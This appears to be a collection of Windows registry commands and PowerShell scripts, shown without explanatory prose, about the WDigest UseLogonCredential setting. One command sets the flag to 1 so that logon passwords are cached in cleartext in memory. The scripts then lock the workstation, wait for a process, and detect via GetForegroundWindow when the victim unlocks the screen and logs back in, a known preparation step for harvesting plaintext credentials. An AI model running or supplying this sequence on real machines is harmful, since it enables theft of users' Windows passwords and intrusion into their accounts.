HKLM/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest 

UseLogonCredential 

REG_DWORD 

0 

reg add HKLM/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 

Set-ItemProperty -Path HKLM:/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest -Name UseLogonCredential -Type DWORD -Value 1 

$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest/" -Name "UseLogonCredential" $Flag=$key.UseLogonCredential write-host "[+]Checking Flag" while($Flag -eq 1) {     write-host "[+]Flag Normal"     write-host "[+]Wait 10 Seconds..."     Start-Sleep -Seconds 10     $key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest/" -Name "UseLogonCredential"     $Flag=$key.UseLogonCredential     write-host "[+]Checking Flag" } write-host "[!]Flag Changed!" 

rundll32.exe user32.dll,LockWorkStation 

Function Lock-WorkStation { $signature = @" [DllImport("user32.dll", SetLastError = true)] public static extern bool LockWorkStation(); "@  $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru $LockWorkStation::LockWorkStation() | Out-Null } Lock-WorkStation 

$id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") } $Flag=$id.Id+0 write-host "[+]Checking tasklist" while($Flag -eq 0) {     write-host "[-]No notepad.exe"     write-host "[+]Wait 10 Seconds..."     Start-Sleep -Seconds 10     $id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }     $Flag=$id.Id+0     write-host "[+]Checking tasklist"   } write-host "[!]Got notepad.exe!" 

function local:Get-DelegateType {   Param (     [OutputType([Type])]   [Parameter( Position = 0)]   [Type[]]   $Parameters = (New-Object Type[](0)),     [Parameter( Position = 1 )]   [Type]   $ReturnType = [Void]   )     $Domain = [AppDomain]::CurrentDomain     $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')     $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)     $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)     $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])     $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)     $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')     $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)     $MethodBuilder.SetImplementationFlags('Runtime, Managed')      $TypeBuilder.CreateType() } function local:Get-ProcAddress {   Param (     [OutputType([IntPtr])]   [Parameter( Position = 0, Mandatory = $True )]   [String]   $Module,     [Parameter( Position = 1, Mandatory = $True )]   [String]   $Procedure     )     $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |     Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('//')[-1].Equals('System.dll') }   $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')     $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')     $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')     $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))     $tmpPtr = New-Object IntPtr     $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)     $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } Start-Sleep -Seconds 10 $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr]) $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate) $hWindow = $GetForegroundWindow.Invoke()   write-host "[+]Checking Flag" while($hWindow -eq 0) {   write-host "[+]LockScreen"   write-host "[+]Wait 10 Seconds..."   Start-Sleep -Seconds 10   $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow   $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])   $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)   $hWindow = $GetForegroundWindow.Invoke()   write-host "[+]Checking Flag"  } write-host "[!]Got Screen!"